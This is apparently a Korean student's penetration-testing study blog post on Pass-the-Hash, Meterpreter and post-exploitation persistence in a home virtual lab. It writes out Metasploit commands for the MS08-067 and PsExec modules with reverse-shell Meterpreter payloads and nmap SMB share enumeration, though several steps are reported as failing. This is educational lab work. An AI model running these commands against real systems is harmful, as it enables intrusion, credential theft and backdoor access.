일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- 드림핵
- 웹해킹
- Algorithm
- Python
- 프로그래머스
- 인프런
- 문제풀이
- 포렌식
- 자라나는 새싹
- 파이썬
- 디지털 포렌식
- 자라나는새싹
- C언어
- Web
- BaekJoon
- WarGame
- 풀이
- command
- c
- WHS
- hacking
- 워게임
- 백준
- injection
- 스터디
- 알고리즘
- CSRF
- dreamhack
- XSS
- Programmers
- Today
- Total
Hoin's security
[5주차] 모의해킹-취약점을 사용하지 않고 해킹, 후속 공격(Post Exploitation) 본문
4-1 취약점을 사용하지 않고 해킹하기
1. pass the Hash(패스더해시)란?
: Password에 대한 hash값을 사용하는 환경(NTLM/LM 인증 프로토콜을 사용하는 환경)에서, 획득한 hash 값을 사용하여 인증을 통과하는 공격 (사용자의 실제 Password는 몰라도 됨)
1) Mechanism
- NTLM/LM 인증을 사용하는 서버/서비스는 해시로 암호를 제공
- cleartext 암호는 원격 서버를 전송하기전에 해시로 전환
- 인증을 완료하는데에 Cleartext 암호는 필요하지 않음
- 기능적으로 해시는 원래 암호와 동일
→ Complete network 인증올 완료하는데에는 hash만 있으면 된다.
2) Pass-the-Hash 공격 과정
- 시스템에 침투
- 시스템의 보호된 자원에 접근할 수 있는 권한 획득
- 메모리 상에 있는 Password Hash값 수집
- 새로운 logon session을 생성하여 획득한 hash 값으로 접속
→ LM/NTLM 인증 프로토콜을 사용하는 Network의 특정 시스템에 침투한 후에는, Network에 연결된 다른 시스템에 속한 모든 시스템에도 침투할 수 있다.(보통 사용자는 Password를 플랫폼마다 바꾸지 않음)
우리는 'Pass the Hash' 공격을 하기위해 다음과 같은 모듈을 사용할 것이다.
- Metasploit PsExec
→ PSExec 모듈은 암호학적 개인정보를 이미 알고있는 특정 시스템에 대한 접근을 얻기 위해 침투테스터에 의해 사용된다.
- Metasploit PsExec를 사용하기 위해 필요한 것
- 타겟 IP
- 타겟 시스템의 username
- Password Hash(or Password)
- Administractive Shares
우리는 가상환경에 설치한 winXP, windows 8 에 대한 대다수의 정보 가지고 있다. win xp와 windows 8을 PsExec 모듈을 사용하여 해킹할 것이다.
그렇다면 가장 중요한 Hash 암호는 어떻게 모을 것인가?
→ 미터프리터를 사용한다!
2. Meterpreter
winXP의 해쉬 암호를 모을 때 우리는 'Meterpreter' 라는 Payload의 모음을 사용할 것이다. (미터프리터 내장기능에 pass the hash 공격이 포함되어있다.)
1) 미터프리터란?
: Metasploit Framework에 포함되어 있는 Payload 중의 하나로, 특별한 기능을 제공한다. Metasploit의 기능을 활용해 대상 시스템을 손상시킬 수 있는 프레임워크의 확장기능이다.
2) 미터프리터의 특징
- 다양한 후속 공격을 지원, 인메모리 DLL injection stager을 사용
- 디스크를 건드리지 않음
→ 프로세스 인젝션 시 새로운 프로세스 생성하지 않음, 기존에 있는 프로세스에서 실행
- reflective DLL injection 을 사용
- 내장 기능에는 권한 상승, Pass the Hash, 이벤트 로그, 인코그니토, 원격 데스크톱 접근, 패킷 스니핑, 피버팅 등이 있다.
→ 이외에 더 많은 모듈들은 help 명령어를 통해 확인 할 수 있다.
1) Pass the Hash 실습 (Windows XP)
Pass-the-Hash 공격 실습(WinXP, Windows 8)
1) 네트워크 점검
본격적으로 해킹에 들어가기 전에 네트워크 점검부터 해보자
windows 8 과 kali Linux 커맨드 창을 열어 각각의 네트워크 상태(ping test)를 점검한다.
- windows 8(win xp)에는 kali Linux IP 입력
Copy~# ping [kali Linux IP]

- kali Linux에 windows 8 IP 입력
root@kali:~# ping [windows 8 IP]
windows 8에서 처럼 손실없이 모두 응답이 도착했는지 확인한다.
nmap query
Copyroot@kali:~# nmap [window 8 IP]
[ port | state | service ]를 통해 sharing과 원격접속에 필요한 포트들이 열린것을 확인할 수 있다.
본격적으로 해킹에 들어가보자
우리는 이미 취약점 분석에서 windows XP 우리 네트워크에서 MS08-067이라는 취약점을 가지고 있다는 것을 확인했다. 그래서 이 시스템을 해킹하고 password hash를 모아보자.
2) Windows XP 에서 패스워드 수집
먼저 칼리리눅스의 커맨드 창을 열고 루트계정으로 진입한 다음 metasploit을 실행시키자
root@kali ~# msfconsole
우리는 이미 2일차에 했던 nessus 취약점 분석을 통해 윈도우xp가 ms08-067 취약점을 가지고 있다는 것을 이미 알고있다.
msf5 > search ms08-067
search 명령어를 통해 알아낸 모듈을 use 명령어로 사용한다.
Copymsf5 > use exploit/windows/smb/ms08_067_netapi
> set payload windows/meterpreter/reverse_tcp_allports
> show options
meterpreter 실행 후, 옵션창을 켜서 현재 세팅을 확인한다.
required에 'yes' 라고 적혀있지만 'current settings'에 세팅이 되어있지 않고 비어있는 것들을 설정해주어야한다.
RHOST(공격할 대상의 IP = WinXP의 IP) LHOST(Local HOST = kali의 IP) 를 설정해주자
Copy> set RHOST [공격할 대상의 IP]
> set LHOST [Local Host IP]
모든 설정을 완료 했으면 실행시킨다.
Copy> run
타겟이 맞지 않다는 오류가 생겼다... 왜지 ...? 분명 앞서 ip주소 다 확인 했는데.. 일단 진행해본다.
2) Pass the Hash 실습 (Windows 8.1)
3) Windows XP에서 얻은 hash를 이용하여 Windows 8.1 해킹
이번에는 앞에서 얻은 hash값을 이용하여 windows 8 에 접근해보고 hashdump를 사용해보자
※ windows XP와 windows 8은 같은 네트워크를 공유하고 있기 때문에 이러한 방법이 가능하다. 단, 가능성이 있을 뿐 실패할 수도 있으니 실망하지 말자.
nmap을 이용하여 공격을 시도하려는 시스템의 네트워크 상황을 스캔한다.
root@kali:~# nmap [공격대상의 IP]
445 포트가 열려있는 것을 확인
*445포트는 SMB파일을 공유하는데에 사용 됨
중요한 것은 타겟 시스템에 최소 하나의 파일공유가 있어야 한다. 일반적으로 관리자 폴더들이 공유된다. 그러나 확신할 수 없으니 새로운 타겟의 파일 공유를 찾아보자. 다시 nmap을 이용할 것이다.
root@kali: ~# nmap [공격대상의 IP] --script smb-enum-shares.nse
이제 msfconsole interface로 돌아가서 PsExec 모듈(사용할 모듈) 검색
msf5 exploit(windows/smb/ms08_067_netapi) > search psexec
어라 unknown...?
모듈 검색이 안된다...
우리는 모듈 #10을 사용하고 payload를 설정해준다.
Copymsf5 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > show options
4-2 후속 공격(Post Exploitation) 이란?
Post-Exploitation
1. 후속 공격(Post-Exploitation)이란?
: 세션이 오픈된 후 일어나는 모든 행동을 일컫는다.
→ exploit을 하고 난 후 정보를 계속해서 모으는 것은 매우 중요하다. 이런 정보들이 다른 시스템을 공격할 때 도움을 줄 수도 있기 때문이다.
시스템을 해킹하고 난 후 해야하는 행동
- Persistence ( 시스템에 지속적인 접근 유지)
- Username과 Password Hashes 를 모은다
- Password Cracking
- 중요한 data 수집
따라서 exploit에 성공한 system에 지속적인 접근을 유지하는 것은 매우 중요하다.
4-3 Backdoor 실습
Persistence
: meterpreter는 Persistence를 이용하여 시스템에 Backdoor를 남기고 지속적으로 드나들 수 있는 통로를 만들 수 있다.
1) Run Persistence
실습 1) Run Persistence
공격할 대상(WinXP), 로컬(Kali) IP를 확인한다.
Kali 에서 CMD 창을 연 후, root 계정으로 진입한다.
msfconsole을 실행한다.
root@kali:~# msfconsole
공격할 대상인 winXP에 취약점 ms08-067을 이용하자
익스플로잇과 페이로드 설정 후 show options 명령어를 통해 필요한 정보 확인
msf > search ms08-067
msf > use exploit windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(windows/smb/ms08_067_netapi) > show options
윈도우 xp오류로 실행이 되지 않아 추후 실습 후 추가해놓겠다..(iso파일도 정상적,, 가상머신에서도 실행은 잘됨,, 그러나 실행만 됨.)
'스터디 > 모의해킹' 카테고리의 다른 글
[6주차] 패스워드 크래킹 (0) | 2023.11.15 |
---|---|
[6주차] Meterpreter Extensions (0) | 2023.11.15 |
[4주차] 모의해킹 실습 (1) | 2023.11.01 |
[3주차] 모의해킹 스터디 정리 (0) | 2023.10.04 |
[2주차] 모의해킹 스터디 (0) | 2023.09.27 |